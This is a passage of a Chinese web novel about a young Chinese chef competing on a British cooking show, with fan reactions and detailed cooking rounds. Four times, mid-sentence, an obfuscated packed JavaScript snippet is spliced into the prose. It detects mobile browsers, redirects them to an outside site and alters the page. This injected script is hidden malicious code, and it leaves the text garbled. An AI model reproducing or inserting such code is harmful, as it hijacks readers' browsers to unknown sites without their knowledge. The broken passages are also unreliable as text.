黑暗的房间里，三束聚光灯依次亮起，照在夏洛特、奥斯汀和梅森三位评委身上。 他们穿着标配的厨师白衣白帽，抱臂昂首，表情严肃。 评论区欢天喜地刷起评委和选手的名字。 【听说夏洛特主厨不想干了，竟然还在！呜呜呜女神我爱你！】 【这个法餐评委是这季新换的吧，看起来挺年轻的。】 【我是菊花豆腐入坑的，不知道醉余这次什么时候出场呀！】 偶尔有人嫌蒋醉余是个中国人、存在感太高，立刻会就引来无数人围攻。 毕竟极端分子还算少数，只要水平够高就可以踏破绝大多数偏见。 有独特的故事线支撑，蒋醉余的人气现在在整个节目都都位列前茅。 导演显然也深知观众们的想法，拼命靠高人气选手吊住胃口。 一串预告看点闪过，最后一幕正是蒋醉余站在投票箱前，静静念出自己得到的选票：“不通过。” 【声音好听……卧槽？怎么可能？】 【笑死，吹厨艺翻车了吧，还得看评委的。】 粉粉黑黑隔着网线掐作一团，节目进度条慢慢悠悠地向前推进。 节目组并没有按照出场顺序剪辑，直到这一集快结束了蒋醉余才登场。 “那么，醉余，你准备了什么呢？”夏洛特问道。 “白腐乳菌菇酱配手工蝴蝶面。” 白腐乳三个字，他说的是拼音。 【我知识面不够了，有没有人知道他说的是什么？】 【听着不像英语，不过餐饮业里好多词来自法语，蹲个法国朋友。】 【报告，也不是法语。】 节目中，蒋醉余适时地解答了众人的疑惑。 “这是一种豆腐发酵产物。”他一边煮面一边说。 【虽然我很高兴再一次看到醉余做豆制品，但是发酵……】 【回忆起一些被鲱鱼罐头和蓝纹奶酪支配的恐惧。】 【那种事情不要啊！】 14. 奶茶外的中餐 “你有没有看《美食之王》第五季第两集！” 星期一傍晚，墨尔本一家奶茶店里响起高中女生兴奋的声音。 “朱莉亚，你怎么从来不告诉我们，华夏除了花式奶茶以外还有那么多厉害的菜。” 朱莉亚，中文名周初怡，是一名在澳洲读高三的中国留学生。 她看着眼神放光的同学，缓缓愣住：“什么？” 且不说奶茶究竟能不能算“厉害的”中餐，这个结论又是怎么突然冒出来的？ 自己这位同学好像从来没有表现出对中餐的喜爱、从来都过唐人街而不入的啊？ 同学晃了晃腿：“《美食之王》啊，就你们中国的那个醉余选手的菊花豆腐，还有白腐乳酱听起来也很好吃。 她狠狠嚼了两口珍珠，十分怨念：“要不是我们离西北半球太远了，好想看到我们国家的选手也去参赛啊。” 周初怡对综艺不了解，连忙开始搜索。 这档节目虽然不包括本地选手，但因为视频网站强推，在大洋洲也有着相当高的知名度和关注度。 “所以，你们华夏还有没有什么别的美食呀？”同学好奇地问道。 周初怡使劲点点头：“当然有，华夏菜有八大菜系，各种风格应有尽有，我讲一学期都讲不完。” 她喝掉最后一点茉莉奶绿，茉莉花茶的香甜和浓郁的奶香在口中绽放，特意要求去糖的奶茶回味带来淡淡的苦。 “周末等你打工完，我们一起去我最喜欢的中餐厅吃饭呀。”周初怡邀请道。 从奶茶店回到家，她趴在床上抱着枕头打了个滚。 作业已经在社区图书馆写完，她决定休息一会，看看同学倾情推荐的综艺。 第一集一上来，字幕言简意赅地介绍着情况：来自女王国海选赛区的华夏选手Zuiyu准备制作一道精致复杂的茄汤菊花豆腐。 等等。 醉鱼，什么醉鱼？ 周初怡猛然坐起，盯着那张棱角分明的侧脸。剑眉入鬓，因面无表情专注于工作而显出凛冽锐气。 她没顾上按暂停，就看到镜头下移，落在清瘦修长、骨节突出的手上。 她终于想起来为什么自己会觉得这个人很眼熟，打开微信给国内的闺蜜发消息。 【猪猪猪里鸭：晴晴！你有没有你男神的侧脸照！】 【晴天小鱼：？】 【晴天小鱼：怎么，你终于被纸片人的憨憨官方伤透了？】 聂晴开玩笑道。她知道自己这位学霸闺蜜对真人完全不感兴趣。 【晴天小鱼：照片太多懒得翻了，给你发张我家镇圈画手太太的神迹，保证一比一仿真。】 链条金丝眼镜，系到顶端的扣子，专注得像凝视猎物的眼神…… 周初怡看着那张一丝不露却难掩意味深长气息的图片，陷入长足的沉默。 闺蜜就是闺蜜，还真是不见外哈。 这幅画和那位传说中的“二百人男团中的you know who”是不是一比一她不知道，和节目里的中国厨师倒真是长得完全一样。 在一些先入为主的印象下，她看着这个眼神，只能联想到这位天才大厨是不是准备磨刀霍霍向猪羊。 【猪猪猪里鸭：……】 【猪猪猪里鸭：我说个事，你别害怕。】 聂晴一句玩梗的“我受过专业训练”还没发出去，就看到微信那头传来一段视频。 她不明所以地点开。 这个脸、这个手，不是她销声匿迹许久的爱豆还能是谁！ 她仔细看了看视频的水印和标志，缓缓敲出一个问号。 【晴天小鱼：你终于学了AI换脸来骗我了是吗，我推怎么可能上美食节目？】 【猪猪猪里鸭：我还想问你呢，你知道你爱豆厨艺刀工震惊西方世界吗？】 她把两期视频下载下来，发给闺蜜：【我去学习了，你先慢慢看。】 聂晴比周初怡大一点，是一名英语系的学生，正在一家以引进外国作品为主的视频发行工作室实习。 她抱着吸男神的心情点开视频，很快就被选手们花样百出的菜品和彼此之间的明争暗斗、相互嘲讽吸引了注意力，不自觉就一口气看完了两集。 男神真好吃，不是，菜真帅…… 她从茶水间找了块小面包叼着，手指噼里啪啦地敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775091|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击键盘，在工作室的群里推荐节目。 【之前计划说我们开始做自己的节目，那还要不要引进新的呀？ 【如果买的话我推一下这部，综艺本身节奏叙事都不错，而且有我们中餐的选手！】 工作室的同事们和她关系都很好，有人看了两眼便问：【这不是你男神吗？他被那个什么公司雪藏了还能出来？】 聂晴诚挚道：【是我男神，但是推荐是客观且真心的。我查了下，这节目是在英国录的，估计他还没回来。】 她大嚼一口面包，又一次回忆起男神退圈始末。 别以为一年过去就没人在意了，当年铺天盖地黑蒋醉余的账号，现在一个个都在刷屏发南楠，说不是有组织的水军她都不信。 说到底搞水军有什么用，无良公司只看真金白银的打投，就算把蒋醉余搞出去了，富婆画手西风女神还不是安稳在他家养老。 她正想着，微信又不知疲倦地响起来。工作室众人效率很高，收到推荐了就纷纷去搜索相关资料。 【你们看这个短视频活动标签，好火啊。】 【万能的橙色软件这也算又出了一回圈吧。】 【质量和评价都不错，前几季也好好完结了，我们以前觉得国内对纯西方厨艺节目兴趣不大就没买来着，要不这季试试？】 众人纷纷投上赞同票，忙忙叨叨地筹备起版权相关事宜。 不过在此之前嘛…… 聂晴打开微博，切换到自己的追星大号，把蒋醉余做菜的动图发了一套仅粉丝可见的九宫格。 【@鱼塘有个晴天娃娃：姐妹们，酱鱼他真的出现了呜呜呜。】 酱鱼，也就是蒋醉余粉丝对他的昵称。 几分钟之内，这条博文下面就挤满了闻讯而来的小粉丝。 聂晴简单介绍了综艺的情况，安慰了忧心忡忡的同担们，下线准备睡觉。 徒留一年没收到爱豆消息的粉丝们珍重地一遍遍地翻看动图，终于发出振聋发聩的呐喊：“我怎么看饿了啊！” 而在她们不知道的地方，已经成为团内唯一顶流的南楠愤怒地摔了茶杯。 “蒋醉余还敢回来？” 15. 油炸猪肉茄盒 齐新雨抱着手机，眼神迷茫。 他在学校画室忙一下午，下课才发现微博首页仿佛被解开了封印，突然活跃起来。 先是一个蒋醉余的大粉发了他参加《美食之王》的动图，久旱逢甘露的小粉丝们狂喜乱舞，一个个噫噫呜呜地转发舔屏。 接着就有一波人跑到他账号下面，问他什么时候回来。 【西风女神！你还会画酱鱼大厨吗乌乌！】 【围裙是好文明，厨师制服同理！我永远喜欢酱鱼老师穿高领制服！】 【不过在西风女神笔下应该是真那个空围裙吧嘿嘿。】 西风女神：“……” 你们不许再说了，再说我就要脑补出来了！ 这个人现在还系着围裙在厨房给我炸茄盒呢，我不能“恩将仇报”！ 他把手搭在门框上，脸埋进双臂之间。 他，齐新雨，和缪斯同吃同住了！把一个画家和他的缪斯塞在同一座屋子里，和把大学生塞到放满年货的房间里有什么区别！ 活的缪斯！他还主动提出来给我做饭！ 就算已经十几天了也很难冷静啊！ 他想起自己最开始还很不适应，试图挤进厨房给蒋醉余打下手，结果不到五分钟就被以“碍手碍脚”为理由请了出来。 现在已经能自然地、毫不僵硬地靠在门边聊天了！ 这是他个人的一小步，是怂叽叽粉丝的一大步！ “怎么了，难受？”蒋醉余从油锅旁移开视线，皱着眉问道，“你受不了油味就离远一点吧。” 齐新雨连忙否认，继而状似随意道：“蒋先生平时会关注国内的社交媒体吗？” “发生什么了吗……你今天好像不忙？”蒋醉余正在往茄子里夹肉馅。 他把三分肥七分瘦的五花肉用葱姜蒜水、酱油和白胡椒粉腌制。 等到高温炸过之后，内部的油会被逼出来，只留下被浸润得肥厚的茄子和有脂肪香而无脂肪腻感的瘦肉馅。 “没什么，就问问。”齐新雨并不打算解释。 随着综艺截图被唤醒的除了粉丝，还有卷土重来的肮脏发言。 哪怕齐新雨自诩不太关注别的粉丝打架，也难免见到不少，蒋醉余曾经看过的言论他更是不敢想象。 “以前看，后来就没时间关注了。”蒋醉余避重就轻道，开始调制面糊。 虽然住在同一屋檐下，但他和齐新雨打交道的机会谈不上多。 齐新雨似乎很忙（又或者灵感很多），有时候只和他打一声招呼就又匆匆跑回画室，一画就是一整天，难怪原书说他有胃病。 今天齐新雨“一反常态”地站在这和他聊了半天，还问起国内网络的问题…… 他有点担心对方是看到了什么才想起这回事，只好尽量避免提起那段破晓似的黑暗过往。 他把茄盒拍上一层薄薄的面粉，蘸上面糊放进锅里油炸。 油星溅起，面糊逐渐变得金黄，发出噼里啪啦的声响。 一个个金灿灿圆滚滚的茄盒被装到盘子里，刚刚出锅的炸货还在小声滋滋冒响，散发出脂肪配碳水的诱人香气。 齐新雨偷偷摸出筷子，迫不及待地夹了一块，随意吹了一下就放入口中。 先是酥脆但面衣与牙齿碰撞，被咬碎后发出咔吱咔吱的声响。 茄子咬开后有浓郁的汁水爆出，外面薄薄的面粉保证了它不会没有浸湿面皮。 牙齿和舌头直到这时候才意识到茄盒的热度，齐新雨烫得呲牙咧嘴，急促地吸气。 蒋醉余正背着身，听到细细碎碎的声响就猜到他在干什么，语带笑意：“我再抄个芹菜，你吃完去把米饭盛了吧。” 齐新雨自知暴露，双耳又蔓上红意：“好……嘶，好的。” 一荤一素一汤一饭，生活简简单单的也没什么不好。 蒋醉余怀着对夜晚限定慢节奏生活的感慨，回忆起几小时前状况百出的赛场。 今天是星期一，新一期的比赛今天白天就已经开始了。 “女士们先生们，小打小闹的试水结束了，你们即将迎来真正的淘汰赛。” 夏洛特早上是这样说的。 她和另外两位评委都穿着正装，每人还带了一顶礼帽，格外严肃中又显得有些夸张。 常规赛每周两轮，由挑战赛和淘汰赛组成，挑战赛又有各种各样的比赛形式和内容。 它们唯一的共同点是，挑战赛冠军往往会在淘汰赛中获得极大优势，而淘汰赛优胜选手也可能在下一周的挑战赛里得到好处。 五季以来，观众们已经总结出了一个比较通用的比赛策略，那就是挑战赛创新、淘汰赛求稳。 这话听来简单，却总有选手“灵机一动”，希望能靠创新菜品使自己稳稳抱住淘汰赛第一，最后反而把自己送出了比赛。 当然，蒋醉余没有这样的烦恼了。 不管什么比赛，他的策略都是保证水平……顺便做自己想做的菜。 梦里学了那么多菜肴和技法，正好借着这个机会一一实践，他可不想草草了事。 现在是四月下旬，天朗气清，英国人惯爱以天气作为寒暄的开头。 来打工的外国评委们也没能成为例外。 “虽说春天已经来了，但这个国家还没来得及完全披上深深浅浅的绿外衣，”奥斯汀说，“要等到五月份，才能看到风吹草浪的繁盛场景。” “在那个时候，英国的惠特比小镇也将迎来半年一度的哥特节。” 惠特比原本是个并不出名的小镇。 像一切普普通通的英国镇子一样，它临海又多山，在某个山顶有一座古老的修道院，茵茵绿草下埋葬着无数虔诚的修士。 而不普通的地方在于，一百多年前曾有一名作家旅游到这里。 他坐在小镇的一百九十九层台阶上，写下了世界上第一本吸血鬼小说。 从此，惠特比成为了举世瞩目的“吸血鬼之乡”。 每年的五月和十一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775092|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月前后，就会由小镇官方举办“哥特周”。 来自各地的吸血鬼文化爱好者或其他中二病患者换上黑暗哥特风的装扮，在这里欢聚、表演。 “我们本轮比赛的赞助商，正是惠特比镇议会厅，周主题是——” 梅森拖长了声音，可惜众人已经隐隐有所预感，并没有他希望中那么期待。 “好吧，如你们所愿，吸血鬼。” 众人终于确定了他们奇怪装扮的用意。 常规比赛周没法选出谁是唯一胜者，因为挑战赛冠军往往可以得到不参加淘汰赛的超级好运。 “所以两轮的冠军会平分这一万英磅的创业基金，赞助商还为二位一人提供了一间明年五月哥特节的城堡酒店高级套房。” 城堡酒店是真的买下了一座有百年历史的城堡。 它和修道院分别坐落于相邻不远的两个小山头，打开窗户还能隐约听到修道院的钟声。 但不要以为建筑古老，房间就会破旧，这可不是某大学又冷又小的城堡宿舍。 拥有大量古堡的英国人不怎么在意这一套“年轻”的城堡，对内部进行大力翻修，房间温暖宽敞，纵然价格昂贵，依然常年供不应求。 “大家想必已经猜到了，”夏洛特拿笑道，“没错，我们挑战赛的内容正是——鲜血。” 霎时间，吸气声和叹气声响彻现场。 事实上，以血入菜在世界各地都不算罕见，尤其是灌成血肠的做法，不同国家的传统血肠在填充物和具体制作方法上有着各自的特色。 英国著名的“full breakfast”英式全套早餐的其中一项就是煎黑布丁，也就是猪血肠。 法国曾有一款获得美食奖的料理选择以鸭血熬成酱料，搭配半熟的鸭肉。 人们印象中“什么都吃”的中国人，更是有着血豆腐这一独具创意的血制品。 但显而易见，所有人都能猜到，制作血肠一定会是最大众的选择。 是选择完全抛弃套路、将鲜血元素融入菜品的其他部分？ 还是尝试用常见的血肠，做出一道不落窠臼又有高级餐厅水准的料理？ 众人脑筋飞速旋转，评委已经开始倒数。 《美食之王》可从来没有给厨师们留够思考时间的善良习惯。 他们马上就会打开食品储藏室的大门，挑选材料的机会有且仅有一次。 如果落下了什么重要食材，除了摆烂和向对手低头以外别无选择。 面对淘汰搬走的压力，蒋醉余也迅速思考起了自己的菜品。 独特的血豆腐做法是他作为中国人的优势，煮熟的血豆腐外层柔韧，内里软滑。 坏消息是，哪怕它真的很好吃，热衷于摆盘的高档餐厅也并不乐于接受一大盆麻辣鲜红的毛血旺。 但从另一个角度来讲，一锅出的炖菜沾染上彼此的味道，天然就成为风味融洽的存在…… “‘采购时间’到！” 有了！ 16. 解构版毛血旺 鸭血、整鸡、整鸭、鳝鱼、五花肉、豆芽、莴笋…… 感谢《美食之王》庞大的储藏室，蒋醉余成功找齐了所有要用的材料，不需要面对没有豆瓣酱可用的窘迫境地。 选材时间转瞬即逝，比赛的倒计时钟表开始转动。 先把鸡鸭斩块，留出鸭胸备用，再在焯过水的鸡鸭中加入花雕酒和葱姜蒜等用高压锅炖煮。 这两种禽类要烹饪的时间较短，更适合作为限时比赛中的高汤。 然后便是今天的主角，鸭血豆腐。 新鲜的鸭血被装在袋子里，是早上才从农场现杀现运过来的。 蒋醉余找出一个长方形的盒子，把鸭血全部倒进去，再加入少量盐水，就这样放在盒中静置。 如果节目组愿意给他多分出一个机位延迟摄影，大概就会发现鸭血在短短二十分钟之内迅速凝结，变成凝胶一般的质感。 但节目组没有，他们的目光聚集到了另一个人身上。 “呕。”来自西班牙的小雀斑选手加布里埃尔打开猪血袋子，开始不断地干呕。 蒋醉余抬头望了一眼，只见这位棕发雀斑的年轻男生脸色已然在短时间内变得苍白。 他抿着嘴，似乎是屏住了呼吸，只时不时把头扭到旁边深吸一口气，脸就又会白上一分。 毕竟全场十二个人全都在和鲜血作斗争，那味道实在令人绝望。 他想起选手们闲聊的时候似乎曾经提到过，加布里埃尔在嗅觉一道天赋惊人。 他有时候做菜甚至不必品尝，只靠闻就能知道调味如何。 上一周猜食材的时候，如果不是他感冒鼻塞，全部答对的有几个人还真不好说。 而这一次，好不容易病好了的小雀斑又遇到了“天敌”。 内脏下水这一类的食材，无论最终做出来有多好吃，生的时候总归是很熏人的——哪怕再新鲜也不会好闻到哪去。 “看到了吗，这就是他海选使用高档火腿的代价。”同样来自西班牙的金发选手胡安，后来在采访里幸灾乐祸道。 蒋醉余有些担忧地看了他一眼，凝神专注起自己的食材。 鸭胸展开切薄片，鳝鱼和五花肉锤成肉泥，像燕饺皮一般加淀粉和红曲粉做成片。 在对莴笋的处理上，他没有选择传统做法中的粗条，而切成了和豆芽差不多粗细长短的丝，并加盐腌制杀出水分。这样一来，莴笋就能拥有脆爽的口感。 高汤炖好了。他起锅加油，小火爆香花椒、辣椒、豆瓣酱等调料，加入过滤后的鸡鸭汤，慢慢煮成红艳艳的汤底。 与此同时，鸭血切成方形，飞水汆熟。 一切工作准备就绪，这才到了几种菜色一起下锅煮的时刻。 五花肉、豆芽和莴笋浮浮沉沉，油面之下的汤水慢慢沸腾，便可以将食材迅速捞出。 截至目前都基本算是传统的毛血旺做法，他对流程相当熟悉。 蒋醉余在脑中又过了一遍自己的构思，把食材分门别类地捞出。 他在案板上铺上保鲜膜，先放一层米饭，再分层加入素菜和鸭血块。 拎起保鲜膜的四角，将它们团成一个圆滚滚的饭团。 蒋醉余再一次烧热油，放入花椒和干辣椒炸出香味后迅速离火捞出干料，只留下一层澄澈的红油。 把先前准备好的肉片平铺好，刷上薄薄的一层油，再把米饭放进去，肉片从顶端合拢用细绳扎好，稍微整形做成福袋的形状。 三只福袋入锅蒸熟，刷在肉和饭团之间的辣油浸到肉里，香气扑鼻。 摆盘时刻再一次到来。 蒋醉余找出一只长条白瓷盘，用红油在上面随意勾出图案，既是装饰，也是最后的调味。 他把三只福袋分开放在盘子上，左右是红色的鳝鱼和五花肉，中间是粉白的鸭肉，而系福袋的绳子则左右是黄色、中间是红色。 他想了想，再次找来食用金箔，细细刻出福字贴在上面。 “这是一道血豆腐‘伪三吃’，实际并没有三种吃法，而都是用华夏传统毛血旺的做法制成，只是分别搭配了不同的肉类。” 他向评委解释。 同源的鸭肉与鸭血自带鸭子独特的味道，不喜欢的人认为膻味过重，做得好了就成了特色。 经典搭配的鳝鱼强调了毛血旺“麻辣鲜香”中的“鲜”，与通常被认为味道不尽人意的下水放在一起，却激发了后者的鲜味。 五花肉皮自带荤油香气，纯正的肉香与大块的鸭血承载了渝省“江湖菜”大口吃肉的豪气。 “我还是希望你可以挑一个能吃的材料作为绳子。 “对于一盘菜来，这个体验感很重要，我们在《美食之王》追求的就是精益求精嘛。” 评委挑剔地左右看看，解下绳子切开福袋。 白色的米饭、浅黄绿色的素菜和棕色的鸭血层层包裹，尝了一口之后，他们就不再提绳子的事情了。 “调味优秀，咸香扑鼻，我能感受到自己的舌头酥麻又火辣，仿佛它也在这道菜的汤锅里被煮过一遍，”夏洛特玩笑道，“唯一的问题大概就是，我真的很想要多一点米饭。” “说实话，我已经减轻了很多辣度了，欢迎你到中国的川渝地区来体验真正的毛血旺。”蒋醉余也跟着笑道。 “谢谢你的仁慈，醉余，”夏洛特比了个双手扇风的动作，“我想我需要保住我的舌头，先去尝尝其他选手的作品。” 比如被臭味熏得眼睛都红了的加布里埃尔。 他用血肠做了一道意式调味饭。 “我们几个全程都很担心你，但是你坚持下来了。”奥斯汀安慰他。 “到自己其实没怎么担心，我知道我的天赋有时候会成为劣势，专门进行过特训，只是生理反应无可避免。”他慢慢说，语气很坚定。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775093|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天这样的情况下，他没法依靠精确强大的嗅觉判断调味，甚至反而会被其影响味觉。 “血肠的馅料中，我除了西班牙传统的猪血、猪肉馅、米饭和洋葱碎，还加入了一点山药泥和罗勒，然后利用烤箱进行加热风干。”他描述道。 “这是个很大胆的决定，”奥斯汀说，“一不小心你的调味饭制作时间就会太紧迫，以至于后加入的血肠片在其中显得很突兀。” “但我成功了。”加布里埃尔自信道。 血肠风味独特，烘干制作出来的肠衣富有嚼劲，山药泥堪称点睛之笔，而香肠中的罗勒又与调味饭中的番茄是一对绝配。 就整体而言，虽然配料繁复，却并不杂乱。 “是的，你成功了，”奥斯汀肯定地重复，“你是一名很坚定也完全明白自己干什么的选手，希望以后的比赛中能让我感受一下你顶级的嗅觉和天赋。” 一位位选手点评完毕后，评委们讨论出了优秀名单。 “下面来宣布前三名的成绩，”夏洛特开口了，“我们的亚裔选手在似乎在这轮比赛中表现出绝对强势。” 第三名是法籍印度裔女选手伊拉，她做了煎猪血肠配酸辣虾汤风味粉。 “第二名和第一名属于醉余和加布里埃尔。”评委卖了个关子。 厨房里还残余着一丁点血味，小雀斑抽了抽鼻子，苦着脸打出一个喷嚏。 “哎呀，我都要不忍心宣布了。”夏洛特笑吟吟道，十分“冷酷”地透露了最终答案。 “我很抱歉，但是第一名属于——醉余，”她终于公布答案，“请和我们到储藏室领取你的冠军奖励吧。” 她招招手，蒋醉余跟着三名评委离开。 “在明天的淘汰赛中，你将拥有两个优势。”夏洛特说。 “第一，明天你可以不带围裙来了，你不需要参赛，还能享受SVIP级观赛体验。” “第二，你可以从这三道菜品中选择一道，作为其他选手的比赛题目，他们需要从外观到口味都一丝不差地复刻出这道菜。” 评委们揭开面前的银色餐盘盖，每人面前都有一道精致的菜品。 “选手恐惧淘汰，就像吸血鬼恐惧大蒜。所以这里有三道以大蒜为核心的菜肴。” 奶油蒜香扇贝配芦笋，美味的奶油酱一不小心就会把摆盘搞得一塌糊涂、埋汰非常，最重要的是扇贝的火候控制实在是个无比艰难的课题。 香蒜鸡肉丸搭奶油蒜酱意面巢，手工意面盘成鸟巢装，上面放上鸡肉丸，在和白酱一起煮过之后还要放入烤箱烘烤，希望你的对手亡于小节的不二之选，换句话说就是难度确实不怎么高。 大蒜奶油茴香慢煮小牛排，大蒜、茴香、莳萝……多重香料有可能塑造丰富的口味层次，也可能搞出一场混乱的噩梦，尤其是当选手需要一比一完全复刻的时候。 “那么，醉余，你的选择是——” 17. 奶油蒜香扇贝 站在二楼的露台，这是蒋醉余第一次以一个居高临下、纵观全局的视角看别人做菜。 “醉余为你们选择的是，奶油蒜香扇贝配芦笋。”夏洛特缓缓揭开餐盘盖。 在洁白的标准款圆盘上，是一盘摆盘精美的扇贝。 一排芦笋就像一只竹筏，承载着三颗圆滚滚的贝柱。 白色的贝柱被煎出焦黄的表面，又裹上一层流淌的白酱；酱汁收到更浓稠的质地，在旁边被做成了拉花。 除此以外，盘子上还零零散散撒着鼠尾草叶和蓝紫的娇堇花作为装饰。 如果用刀切开扇贝，就能看到焦化外皮下肥嫩莹白的肉，一口咬上去轻盈细腻，是恰到好处的火候。 “这道菜所需的所有材料都已经放在了你们面前，你们要做的就是原封不动地复刻出来。” “不是吧……”选手们动作夸张地哀嚎起来。 在《美食之王》系列节目中，扇贝一直有一个受到广泛认可的江湖诨号：死亡扇贝。 煎扇贝的火候极难控制。 如果火太大，一不小心就会煎焦。 如果火太小，慢慢悠悠地让扇贝稳步达到金黄色，其内里多半就已经老了。 更加可怕的是，扇贝不像牛排等肉类可以控制厚度。 一颗扇贝打开后的贝柱有多高多大，谁也不知道，根本就是在开一个一锤定音的盲盒。 整锅之中待烹饪的贝柱形态各异，制作的时长也就有所不同，绝对不能简单粗暴地一起翻面、一起下锅。 这无疑会把选手们搞得手忙脚乱。 蒋醉余漫无目的地目光扫过众人，完全理解了小时候班主任站在讲台的心态，众人的反应在他眼中堪称无所遁藏。 作为传统美食大国，从意大利赛区进入正赛的有两位选手。 除了那位在飞镖比赛中和蒋醉余交换食材的洛伦佐，还有一名日裔选手粥川高梧。 他看上去神态轻松，毫不畏惧扇贝传说级别的威力。 评委也注意到了这一点，不由点名问道：“你看起来很自信？” 粥川躬身点了点头。 他从还没有灶台高的时候就开始玩刀子切三文鱼，对水产类食材的熟悉程度远胜其它肉类，扇贝也不例外。 “那么我们期待你成为另外半份大奖的获得者。”评委笑了笑。 夏洛特喊出“开始”的一瞬间，像是给平静的热油锅里洒上一瓢冷水，像是在群兽栖息的大草原上朝天射出一发子弹，厨房忽然变得动态起来。 无论是“死亡扇贝”的威名还是全场第一个淘汰的“殊荣”，都给他们带来了巨大的心理压力。 在这样的压力下，有人可能会濒临崩溃，也有人会爆发出巨大的潜力。 “我看你一直对名次没什么强烈的欲望，还以为你会挑个‘和善’一点的菜品。” 蒋醉余突然想起昨天选定题目的时候评委说的话。 但他其实没有考虑这些，决定题目的理由十分单一。 “我记得惠特比小镇的海鲜也是很有名的，这三道菜里只有扇贝是水产，我就选了它。” 他当时摊了摊手，评委们纷纷笑起来。 赞助商一定很喜欢他多年社畜偶像锻炼出的自觉心态。 沉思之间，轰地一声轻响从赛场上传来，紧接着便是选手的尖叫。 所有人都不自觉地望过去，来自法国赛区的黑人选手丽贝卡的锅竟然起了火。橘红色的火焰窜地足有半米高，然后慢慢回落。 她似乎已经被吓呆了，站在原地一动不动，还是快步跑来的奥斯汀给她盖上了锅盖灭火。 “丽贝卡，”奥斯汀皱着眉喊她，“你做了什么？” “我不知道……我本来在往煎扇贝的锅里倒白葡萄酒，结果不知道怎么手一抖……”她捂着脸蹲了下去。 “听着，姑娘，”奥斯汀叹了口气，“来跟我深呼吸，我们还有补救的时间。” “可是我的扇贝不够了……” 节目组淘汰赛的规则制定得十分严苛，每名选手只能拿到五只扇贝，最终摆盘需要三只，他们必须保证自己制作的成功率在六成以上。 而丽贝卡这一次手抖，就将三只完好的扇贝葬送在了火力。 “别灰心，我来说，你来做。现在第一件事，捂好鼻子给你的锅盖掀开一条缝。” 丽贝卡直起身子照做，眼睛鼻子通红，手还在微微颤抖。 这个赛场就是这样，似乎没有人会得到偏袒，最大的仁慈也不过是由评委喝醒你：“站起来，你的旅程还没结束。” 烟雾慢慢散尽后，丽贝卡打开锅盖，里面是三只已然黑乎乎的扇贝。 她犹豫了一下，没有直接扔掉扇贝，而是把它们挪到案板上，用刀小心翼翼地削去外壳。 好在意外没有持续太长时间，扇贝内部还有一小块没来得及燃烧的白色。 她将其中最大的一个贝柱清理干净，放在一边。 丽贝卡长出一口气，又取出一口煎锅，熟练地热锅热油，爆香蒜末，只拿了一个全生的扇贝放进去。 她这次学乖了，在加白葡萄酒的时候找了一个小碗，确认碗里的酒就是自己需要的量以后才慢慢倒进锅里。 液体立刻沸腾，酒精蒸发，留下淡淡的酒香和果味透过金黄外皮浸入扇贝。 这一只的火候堪称完美。 她搓了搓脸鼓励自己，如法炮制出另一只生扇贝，又缩短时间稍微煎了煎那只被“剥了皮”的糊扇贝。 反正最后都是要裹酱再煮一下的，相比烹饪久了味道不好，还是颜色不够漂亮更容易让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“而且，”夏洛特看着她最终端上来的盘子，“你的鼠尾草为什么是生的？” “我觉得这样装饰起来更好看。”维多利亚认真地解释。 “可是它是，呃，菜品的一部分啊，”夏洛特也迷茫了，“它应该是能吃的。” 维多利亚张了张嘴，不知道该说些什么，只得颓废道：“好的，我明白了。” “扇贝有一点煮老了，也有可能是太早做出来，静置导致内部一直在慢慢升温，这个时间明明应该是提前预留算好的。” 夏洛特揉了揉太阳穴：“你先下去吧。” “下一位，丽贝卡。” 18. 酥皮与豆制品 “我很高兴你能够端上来一盘完整的菜，而不是被意外击垮——甚至是完整的三只扇贝。” 奥斯汀向她点点头，又看了一眼丽贝卡的摆盘，露出一点笑意：“虽然你带来了‘一家三口’。” 丽贝卡纵然紧张得几乎声音都在颤抖，此时也没忍住嘴角轻微上扬。 她有两只完好的扇贝，是差不多的大小，可能一个比另一个稍微大了一丁点。 至于从烈火中重生的那个，由于被削去了一整层外壳，显得比正常扇贝小了一大圈。 三只放在一起，可不是像极了父母带崽的一家三口吗。 奥斯汀将“父母”和“崽”各切了半块下来，认真端详片刻才放入口中。 “大的火候和口感都很不错，”他轻轻用刀推开扇贝上的酱汁，“非常漂亮的金黄色外衣，酱汁裹得也很均匀。” 